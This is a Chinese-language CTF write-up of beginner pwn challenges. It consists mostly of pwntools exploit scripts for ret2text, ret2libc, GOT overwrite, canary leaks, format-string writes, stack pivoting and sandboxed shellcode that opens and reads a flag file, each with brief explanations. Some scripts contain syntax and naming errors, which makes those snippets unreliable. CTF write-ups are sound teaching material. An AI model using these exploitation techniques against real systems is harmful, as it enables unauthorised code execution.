pwn
个人认为本次赛题的综合性很强,并且非常适用于新手入门和过渡到之后的赛事,pwn题中没有堆题,但是关于rop和各种栈的考察,以及一些工具的使用非常到位,优秀的赛题
NotEnoughTime
一道计算题,要求时间在30s内通过
简洁运行(官方wp):
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
|
from pwn import *
io = remote("192.168.77.1",51873)
io.sendlineafter(b"=", b"2")
io.sendlineafter(b"=", b"0")
io.recvuntil(b"!")
for _ in range(20):
io.sendline(
str(
eval(
io.recvuntil(b"=")
.replace(b"\n", b"")
.replace(b"=", b"")
.replace(b"/", b"//")
.decode()
)
).encode()
)
io.interactive()
|
本人
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
|
from pwn import *
io = remote("192.168.77.1", 51873)
io.sendlineafter(b"=", b"2")
io.sendlineafter(b"=", b"0")
io.recvuntil(b"!")
# 增加一个打印输出,观察整个过程
print("开始循环处理:")
for _ in range(20):
# 接收计算表达式
expr = io.recvuntil(b"=").replace(b"\n", b"").replace(b"=", b"").replace(b"/", b"//").decode()
# 打印收到的表达式
print(f"收到的表达式: {expr}")
# 计算结果
result = eval(expr)
# 打印计算结果
print(f"计算结果: {result}")
# 发送计算结果
io.sendline(str(result).encode())
# 获取交互
io.interactive()
|
leak_sth
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
|
from pwn import*
context(log_level='debug')
p=process('./leaksth')
#p=remote('26.198.202.50',9999)
gdb.attach(p)
payload=b'%7$p'
p.sendlineafter(b'your name?',payload)
p.recvline()
p.recvline()
num=int(p.recv(10),16)
print(hex(num))
payload=str(num)
p.sendlineafter(b'Give me the number',payload)
p.interactive()
|
no_more_gets
gets
可以实现无限读取,因此直接ret2text
但是要注意以下这条
movaps xmmword ptr [rsp + 0x50], xmm0
在system
中要求[rsp+0x50]必须十六字节对齐,所以我们将劫持地址+1跳过这个汇编指令
1
2
3
4
5
6
7
8
9
10
11
|
from pwn import *
io = process('./pwn')
# my_shell = 0x401176
bin_sh = 0x401177
payload = cyclic(88) + p64(bin_sh)
io.sendlineafter(b".\n", payload)
io.interactive()
|
这是什么?32-bit!
注意一下32位execve()传参即可
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
|
from pwn import *
context(os='linux', arch='i386')
io = process('./pwn')
e = ELF('./pwn')
io.sendline()
payload = cyclic(0x28 + 4)
payload += flat([
e.sym[b'execve'], # 覆盖的返回地址
0, # `execve` 返回地址
next(e.search(b'/bin/sh')), # `execve` 参数 `pathname`
0, # `execve` 参数 `argv`
0 # `execve` 参数 `envp`
])
io.sendline(payload)
io.interactive()
|
这是什么?GOT!
保护启动了partial relro
,直接找GOT
表,exit覆盖为后门函数
1
2
3
4
5
6
7
8
9
10
11
|
from pwn import*
context(log_level='debug')
io=process('./pwn')
#io=remote('26.198.202.50',54772)
#gdb.attach(io)
system_plt=0401056
backdoor=0x40119A
payload=cyclic(0x10)+p64(system_plt)+cyclic(0x20)+p64(backdoor)
p.sendafter(b'This is `puts`.',payload)
p.interactive()
|
这是什么?libc!
程序开启了PIE随机化,泄露lbc后ret2libc即可,添加ret保证栈平衡
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
|
from pwn import *
context(os="linux", arch="amd64")
io = process('/pwn')
#io=remote(...)
libc = ELF("./libc.so.6")
io.recvuntil(b"0x")
libc.address = int(io.recv(12), 16) - libc.sym["puts"]
payload = cyclic(9) + flat([
libc.search(asm("pop rdi; ret;")).__next__() + 1, # 即 `ret`,用于栈指针对齐
libc.search(asm("pop rdi; ret;")).__next__(),
libc.search(b"/bin/sh\x00").__next__(),
libc.sym["system"],
])
io.sendafter(b">", payload)
io.interactive()
|
这是什么?random!
伪随机,固定种子
1
2
3
4
5
6
7
8
9
10
11
12
|
from pwn import *
from ctypes import cdll
from time import localtime
io=process('./pwn)
libc=cdll.LoadLibrary('libc.so.6')
libc.srand(0xe9)
for _ in range(12):
io.sendlineafter(b'> ),str(libc.rand()%90000+10000).encode())
io.interactive()
|
Catch_the_canary!
泄露canary,或者scanf时传’+‘或’-‘跳过输入
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
|
from pwn import*
context(log_level='debug')
for i in range(16768186,16768186+9029):
io=remote('...')
io.sendline(str(i))
io.recvline()
io.recvline()
check=io.recvline()
print(check)
if b'[Error] Wrong! Try again.' in check:
io.close()
else:
break
backdoor=0x4012C9
payload=b'a'*0x10+p64(0xbacd003)
io.sendlineafter(b'One shot.',b'+')
io.sendline(b'1')
io.sendline(str(0xbacd003))
io.sendafter(b'Stop it!',b'a'*0x19)
io.recvuntil(b'a'*0x19)
canary=b'\x00'+io.recv(7)
print(hex(canary))
payload=b'a'*0x18+p64(canary)+b'a'*8+p64(backdoor)
io.sendline(payload)
io.interactive()
|
loginsystem
1
2
3
4
5
6
|
from pwn import *
io=remote('...')
io.sendafter(b"username: ",b'%9$ln '+p64(0x404050))
io.sendafter(b'password: \n',b'\x00'*8)
io.interactive()
|
pwn_it_off!
这题就有点意思了,voice_pwd
中有未初始化的字符串,调试是会发现password同时也在栈中,提示中说strcmp 为什么比strncmp
危险。答案是strcmp会通过’\x00’截断对比,我们需要通过输入正确密码(即beep中残留字符串),在’\x00’后添加二进制形式数字最后才能通过
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
|
from pwn import*
context(log_level='debug')
io=process('./alarm')
def gdbs():
gdb.attach(io)
pause()
while True:
temp=io.recvline()
if b"[Error]" in temp:
break
pre_temp=temp #随机化beep所以写循环检测最后一组
password=pre_temp[28:28+15]+b'\x00'+p64(12345)[0:7]
print(p64(12345)[0:7])
p.sendafter(b'password.',password)
p.sendlineafter(b'password.',b'12345')
|
``
system_not_found!
观察得知,若是我们可以第一次read时把nbytes覆盖掉,第二次read就可以溢出了,然后泄露libc,ret2libc,关键是泄露出来的这个gadget到底是什么?gdb调试,main即将返回时rdi的值恰好是libc中的funlockfile
,返回puts将会泄露出libc然后我们再返回到main去执行rop
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
|
from pwn import *
context(log_level='debug',os='linux',arch='amd64')
context.terminal=["tmux","splitw","-h"]
#io=process("./dialogue")
elf=ELF("./dialogue")
libc=ELF("./libc.so.6")
io=remote("172.22.192.1",64190)
#gdb.attach(io)
se = lambda data :io.send(data)
sa = lambda delim,data :io.sendafter(delim, data)
sl = lambda data :io.sendline(data)
sla = lambda delim,data :io.sendlineafter(delim, data)
rc = lambda num :io.recv(num)
rl = lambda :io.recvline()
ru = lambda delims :io.recvuntil(delims)
uu32 = lambda data :u32(data.ljust(4, '\x00'))
uu64 = lambda data :u64(data.ljust(8, '\x00'))
ia = lambda :io.interactive()
get_64 = lambda :u64(io.recvuntil(b'\x7f')[-6:].ljust(8, b'\x00'))
get_32 = lambda :u32(io.recvuntil(b'\xf7')[-4:].ljust(4, b'\x00'))
sla(b"What's your name?\n> ",b'\xff'*0x11)
sla(b"> ",b'a'*(0x28+8)+p64(elf.plt['puts'])+p64(elf.sym['main']))
ru(b'.\n')
one_gadget=u64(io.recv(6).ljust(8,b'\x00'))
log.success("one_gadget:"+hex(one_gadget))
ret=0x40101a
libc_addr=one_gadget-libc.sym['funlockfile']
bin_sh=libc_addr+libc.search(b"/bin/sh").__next__()
pop_rdi=libc_addr+libc.search(asm("pop rdi; ret;")).__next__()
pop_rsi=libc_addr+libc.search(asm("pop rsi; ret;")).__next__()
system_addr=libc_addr+libc.sym['system']
sla(b"What's your name?\n> ",b'\xff'*0x11)
sla(b"> ",b'a'*(0x28+8)+p64(ret)+p64(pop_rdi)+p64(bin_sh)+p64(system_addr))
io.interactive()
|
开启保护和沙箱
使用ae64可以快捷ret2shellcode,orw
1
2
3
4
5
6
7
8
9
10
11
12
13
|
from pwn import*
from ae64 import AE64
context(arch='amd64')
io=process('./input')
#io=remote('...')
payload=shellcraft.open('./flag')
payload+=shellcraft.read(3,0x20240000,100)
payload+=shellcraft.write(1,0x20240000,100)
shellcode=AE64().encode(asm(payload),'rdx')
io.send(shellcode)
io.interactive()
|
Read_once_twice!
第一次读canary
第二次绕过canary,ret到backdoor
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
|
from pwn import *
context(arch='amd64', log_level='debug')
elf = ELF('./pwn')
io=process('./pwn')
#io=remote('...')
while true:
io.sendafter(b'are turned on?\n',b'a'*0x19)
io.recv(0x19)
canary=b'\x00'+io.recv(7)
io.sendafter(b'one more chance...\n',b'a'*0x18+canary+b'\x00'*8+p64((elf.sym["backdoor"]+1)[0:2])
try:
io.sendafter(b'hand.\n',b'ls')
excepte Expection:
continue
break
io.interactive()
|
Got it!
名字上有got,那么应该就是对got表进行操作?
确实,可以注意这里这个溢出,输入索引v1会把save[v1]的地址存到now_save中,而输入16会把now_save的地址传给自己(now_save就在save下),再次运算操作就会修改now_save的值,修改了指针
于是先把指针修改为got之后,就可以根据偏移将puts(save[i])修改为system(/bin/sh)
由于本地环境不同记得要先patchelf一下
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
|
from pwn import *
context(log_level='debug',os='linux',arch='amd64')
context.terminal=["tmux","splitw","-h"]
io=process("./pwn")
#io=remote('172.22.192.1',54886)
elf_path = './pwn'
elf=ELF(elf_path)
libc_path = './libc.so.6'
libc=ELF(libc_path)
#io=remote("",)
#gdb.attach(io)
se = lambda data :io.send(data)
sa = lambda delim,data :io.sendafter(delim, data)
sl = lambda data :io.sendline(data)
sla = lambda delim,data :io.sendlineafter(delim, data)
rc = lambda num :io.recv(num)
rl = lambda :io.recvline()
ru = lambda delims :io.recvuntil(delims)
uu32 = lambda data :u32(data.ljust(4, '\x00'))
uu64 = lambda data :u64(data.ljust(8, '\x00'))
ia = lambda :io.interactive()
get_64 = lambda :u64(io.recvuntil(b'\x7f')[-6:].ljust(8, b'\x00'))
get_32 = lambda :u32(io.recvuntil(b'\xf7')[-4:].ljust(4, b'\x00'))
def add(num):
sla(b'>',b'1')
sla(b'Operand: ',str(num).encode())
def sub(num):
sla(b'>',b'2')
sla(b'Operand: ',str(num).encode())
sla(b'3. Exit',b'1')
sla(b'use?',b'0')
add(u64(b'/bin/sh\x00'))
sla(b'> ',b'5') ##返回
#puts修改为system
sla(b'3. Exit',b'1')
sla(b'use?',b'16')
sub(0x100) #now_save指向got.puts
add(libc.sym['system']-libc.sym['puts'])
#pause()
sl(b'5')
sl(b'3')
io.interactive()
|
栈的奇妙之旅
看名字估计就是栈迁移
PIE没开,只能多读16个字节,
bss段可写
那么思路就有了
- 栈迁移到bss
- bss里重新转移栈到输入时的头部开始执行rop
- 具体一点说先输入got泄露libc
- 然后pop出新的rbp可以执行read
- 最后移栈到头部执行rop即可
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
|
from pwn import *
context(log_level='debug',os='linux',arch='amd64')
context.terminal=["tmux","splitw","-h"]
#io=process("./pwn")
elf=ELF('./pwn')
libc=ELF('./libc.so.6')
io=remote("172.22.192.1",50420)
#gdb.attach(io)
se = lambda data :io.send(data)
sa = lambda delim,data :io.sendafter(delim, data)
sl = lambda data :io.sendline(data)
sla = lambda delim,data :io.sendlineafter(delim, data)
rc = lambda num :io.recv(num)
rl = lambda :io.recvline()
ru = lambda delims :io.recvuntil(delims)
uu32 = lambda data :u32(data.ljust(4, '\x00'))
uu64 = lambda data :u64(data.ljust(8, '\x00'))
ia = lambda :io.interactive()
get_64 = lambda :u64(io.recvuntil(b'\x7f')[-6:].ljust(8, b'\x00'))
get_32 = lambda :u32(io.recvuntil(b'\xf7')[-4:].ljust(4, b'\x00'))
pop_rdi=0x4011c5
leave_ret=0x4011fc
bss=0x404000+0x200
main_addr=0x4011E5
sa(b'me?',b'a'*0x80+flat(bss,main_addr))
payload=flat([
bss+0x600,
pop_rdi,elf.got['puts'],
elf.plt['puts'],
main_addr
]).ljust(0x80,b'\x00')+p64(bss-0x80)+p64(leave_ret)
se(payload)
ru('\n')
libc_base=u64(io.recv(6).ljust(8,b'\x00'))-libc.symbols['puts']
log.success('libc_base:'+hex(libc_base))
payload=flat([
bss,
pop_rdi,libc_base+libc.search(b'/bin/sh').__next__(),
pop_rdi+1, #ret
libc_base+libc.symbols['system']
]).ljust(0x80,b'\x00')+p64(bss+0x600-0x80)+p64(leave_ret)
se(payload)
io.interactive()
|
where_is_fmt
虽说是板子题但是很有意思(其实是我不会),bss段上的fmt
思路是
- 泄露stack
- 根据提示栈上有比较长的链子修改栈上的链子指向返回地址
- 通过修改后的指针修改返回地址
格式化字符串泄露出的地址有好几个可以用,我们利用其中一个泄露出栈地址
泄露出栈的ret基地址
关于payload,我们泄露出返回地址的栈地址之后,向偏移15的地方用$n修改其指向返回地址,
如上图,经过修改我们已经在stack的链子上布置了ret的地址
第三次在指针修改过后修改偏移45的地址的返回地址到我们的后门
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
|
from pwn import *
context(log_level='debug',os='linux',arch='amd64')
context.terminal=["tmux","splitw","-h"]
#io=process("./pwn")
elf=ELF("./pwn")
libc=ELF("./libc.so.6")
io=remote("172.22.192.1",64269)
#gdb.attach(io)
se = lambda data :io.send(data)
sa = lambda delim,data :io.sendafter(delim, data)
sl = lambda data :io.sendline(data)
sla = lambda delim,data :io.sendlineafter(delim, data)
rc = lambda num :io.recv(num)
rl = lambda :io.recvline()
ru = lambda delims :io.recvuntil(delims)
uu32 = lambda data :u32(data.ljust(4, '\x00'))
uu64 = lambda data :u64(data.ljust(8, '\x00'))
ia = lambda :io.interactive()
get_64 = lambda :u64(io.recvuntil(b'\x7f')[-6:].ljust(8, b'\x00'))
get_32 = lambda :u32(io.recvuntil(b'\xf7')[-4:].ljust(4, b'\x00'))
io.recv()
se("%8$p")
stack=int(rl(),16)-8
log.success('stack:'+hex(stack))
payload=f'%{stack & 0xffff}c%15$hn'.encode()
sla(b'chances',payload)
backdoor=0x401202
payload=f'%{backdoor & 0xffff}c%45$hn'.encode()
sla(b'chances',payload)
io.interactive()
|